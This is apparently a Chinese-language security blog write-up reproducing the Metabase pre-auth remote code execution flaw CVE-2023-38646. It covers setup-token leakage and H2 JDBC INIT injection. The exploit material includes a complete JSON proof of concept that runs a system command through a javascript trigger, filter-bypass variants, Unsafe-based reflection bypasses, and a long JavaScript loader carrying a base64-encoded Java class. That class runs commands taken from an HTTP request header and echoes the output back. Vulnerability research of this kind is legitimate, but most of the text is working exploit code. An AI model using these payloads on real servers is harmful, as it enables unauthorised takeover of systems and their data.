Make JDBC Attacks 早有耳闻,但一直没有机会学习,正巧最近出了一个 Metabase 的RCE漏洞,就复现分析一下

环境搭建

存在漏洞版本的源码:https://github.com/metabase/metabase/releases/tag/v0.46.6
可以直接下载提供的jar包:https://downloads.metabase.com/v0.46.6/metabase.jar

注意启动的时候需要 JDK>=11
java -jar metabase.jar
最后访问 3000 端口进行安装即可

漏洞分析

setup-token泄露

在 Jan 28, 2022 Metabase官方修改了一处代码
https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f

在安装完成后移除了 clear-token 操作,导致在 properties 中仍然存在setup-token
看到src/metabase/api/session.clj

而 setup-token 在生成的时候 visibility 被默认设置为了 public

所以我们可以通过/api/session/properties来读取 setup-token

JDBC RCE

看到src/metabase/api/setup.clj
存在路由/api/setup/validate,用于验证数据库是否连接成功

它会通过api.database/test-database-connection来处理输入的参数完成对数据库的校验
跟进到src/metabase/api/database.clj

就是一个JDBC Connection,而关于数据库的利用姿势,师傅们已经总结出来了:
JDBC Connection URL 攻击
从BlackHat来看JDBC Attack

Metabase 的 JAR 文件内提供了一个示例 H2 数据库sample-database.db,借助 URI 的zip功能,我们可以在攻击链中使用此示例数据库,而不会损坏任何数据库或应用程序

漏洞利用

根据官方文档:https://www.h2database.com/html/features.html#execute_sql_on_connection

可以在JDBC URL中通过 INIT 属性,使连接数据库时自动执行指定的 DDL/DML 语句

在解析 INIT 参数时使用 loadFromSource 方法对 CREATE TRIGGER 做特殊处理,如果以//javascript开头就会通过 javascript 引擎进行编译,然后调用 eval 执行

虽然 Nashorn 在 jdk15 中被移除,但是在 Metabase 中使用了JavaScript引擎:org.graalvm.js

在 H2 中,两个$符号可以表示无需转义的长字符串
最终的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"db": "zip:./metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('gnome-calculator')\n$$"
},
"name": "",
"engine": "h2"
}
}

其实还有好几种利用方式

  1. 使用ıNIT替换INIT
  2. 使用TRACE_LEVEL_SYSTEM_OUT参数并进行堆叠注入

参考:
https://github.com/vulhub/vulhub/blob/master/metabase/CVE-2023-38646/README.zh-cn.md
Metabase 远程代码执行漏洞分析 & 一种补丁绕过方法 CVE-2023-38646
Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

JS引擎加载字节码

我们可以通过 javascript 实现字节码加载功能,这样就更加方便进行后续利用

在 Java 9 引入了模块化系统(module system):

  1. 显式管理依赖:
    每个模块需要显式声明自己需暴露的包,而自己所依赖的和自己内部使用的包,则不会暴露,也不会被外部引用到
  2. 强封装性:
    模块显式的选择向其他模块只暴露需要的类或接口,而完美的隐藏了内部实现的细节及其他内部成员,实现了真正的封装
  3. 安全性:
    显式依赖管理及强封装性,大大的减少了程序运行时不必要模块的加载

这就导致我们不能通过简单的反射来访问私有属性,但发现我们仍可使用 Unsafe 来强制访问私有属性

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用

1
2
3
4
5
6
7
8
9
10
11
12
public static Unsafe getUnsafe() {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

其中比较关键的方法:

1
2
3
4
5
6
7
8
9
10
11
12
//通过给定的Java对象和属性内存地址获取引用值
public Object getObject(Object o, long offset)
//将引用值存储到给定的Java变量中
public void putObject(Object o, long offset, Object x)
//返回给定的非静态属性在它的类的内存分配中的位置(内存偏移地址)
public long objectFieldOffset(Field f)
//返回给定的静态属性在它的类的内存分配中的位置(内存偏移地址)
public long staticFieldOffset(Field f)
//定义一个类,此方法会跳过JVM的所有安全检查,默认情况下,ClassLoader(类加载器)和ProtectionDomain(保护域)实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
//定义一个匿名类
public Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches)

但是在JDK11中移除了Unsafe.defineClass方法

可以通过 Unsafe 类强行修改 defineClass 的 modifiers 为PUBLIC

参考:
Java魔法类:Unsafe应用解析
神奇的魔法类和双刃剑-Unsafe
内存级别攻防利器–UnSafe 的各种利用姿势
Java内存攻击技术漫谈
https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java
一种新型Java一句话木马的实现
https://github.com/yzddmr6/Java-Js-Engine-Payloads/

回显构造

Jetty 版本为11.0.14

看到在 ThreadGroup 中可以拿到 Request

遍历 threads 找到threadLocals->table->value,调用其中的 getHttpChannel 方法就可以得到Requests

参考 R4v3zn 师傅的回显代码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var classBytes = "yv66vgAAADQBJwoAHACbCgBTAJwHAJ0KAAMAngoAnwCgCgCfAKEKABwAoggAggoAGgCjCgCkAKUKAKQApgcAgwgAeAgAdgcAfAgAdQkApwCoCgAaAKkKAKoAqwgArAoAGwCtCACuCgAaAK8KALAAsQgAsgcAswcAtAcAtQgAYwcAtgoAHgCbCAC3CgAeALgKAFMAuQoAHgC6CAC7CAC8BwC9CgAmAKsKACYAvggAvwgAwAoAGgDBCADCCADDCADECABvCADFCADGCADHBwDICgAbAMkKADMAygoAMwC+CADLCgAbAMwIAM0KAKcAzgoAGwDPCgAbANAIANEKABsA0ggA0wgA1AgA1QgA1ggA1wgA2AgA2QoA2gDbCgDaANwHAN0KAN4A3woASADgCADhCgBIAOIKAEgA4woASADkCgDeAOUKAN4A5goAAwC6CADnBwDoAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQARTHRvb2xzL0pldHR5RWNobzsBAA1TdGFja01hcFRhYmxlBwDoBwCdAQAGaW52b2tlAQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAC2h0dHBDaGFubmVsAQASTGphdmEvbGFuZy9PYmplY3Q7AQANX2NoYW5uZWxGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA5odHRwQ29ubmVjdGlvbgEAD2Nvbm5lY3Rpb25GaWVsZAEAFXVuZGVybHlpbmdPdXRwdXRGaWVsZAEAEHVuZGVybHlpbmdPdXRwdXQBAAdyZXF1ZXN0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAKdmFsdWVGaWVsZAEABXZhbHVlAQAFdGFibGUBABF0aHJlYWRMb2NhbHNGaWVsZAEADHRocmVhZExvY2FscwEACnRhYmxlRmllbGQBAAp0YWJsZVZhbHVlAQAGdGFibGVzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEABWdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAFmAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAOkHAOoHAOsHALUBAApFeGNlcHRpb25zAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAJvcwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKZXhlY3V0ZUNtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsHALQHAOwHAJIHAN0HALYHAO0BAApTb3VyY2VGaWxlAQAOSmV0dHlFY2hvLmphdmEMAFQAVQwAYABVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7gBVBwDrDADvAPAMAPEA8gwA8wD0DAD1APYHAOoMAPcA+AwA+QD6BwD7DAD8AP0MAP4A/wcBAAwBAQECAQATQXN5bmNIdHRwQ29ubmVjdGlvbgwBAwEEAQAKZ2V0UmVxdWVzdAwBBQEGBwEHDABgAQgBAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL09iamVjdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQABCgwBCQEKDACJAIoMAQsA/wEADmdldFByaW50V3JpdGVyAQAFdXRmLTgBABNqYXZhL2lvL1ByaW50V3JpdGVyDAEMAFUBAA5IdHRwQ29ubmVjdGlvbgEADmdldEh0dHBDaGFubmVsDAENAQYBAAtnZXRSZXNwb25zZQEACWdldFdyaXRlcgEAB0NoYW5uZWwBAAhfY2hhbm5lbAEABnRoaXMkMAEAD2dldE91dHB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtDAEOAQ8MARABEQEAAAwBEgETAQAHb3MubmFtZQwBFACKDAEVAP8MARYA/wEAA3dpbgwBFwEYAQAEcGluZwEAAi1uAQAFIC1uIDQBAAIvYwEABSAtdCA0AQACc2gBAAItYwcBGQwBGgEbDACJARwBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7AwBHQEeDABUAR8BAAJcYQwBIAEhDAEiASMMASQA/wwBJQEeDAEmAFUBABBjb21tYW5kIG5vdCBudWxsAQAPdG9vbHMvSmV0dHlFY2hvAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAPcHJpbnRTdGFja1RyYWNlAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhlbmRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRl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";
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
defineClass();

最后转义一下字符传入即可

参考:
漏洞分析|Metabase 远程代码执行(CVE-2023-38646): H2 JDBC 深入利用
Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现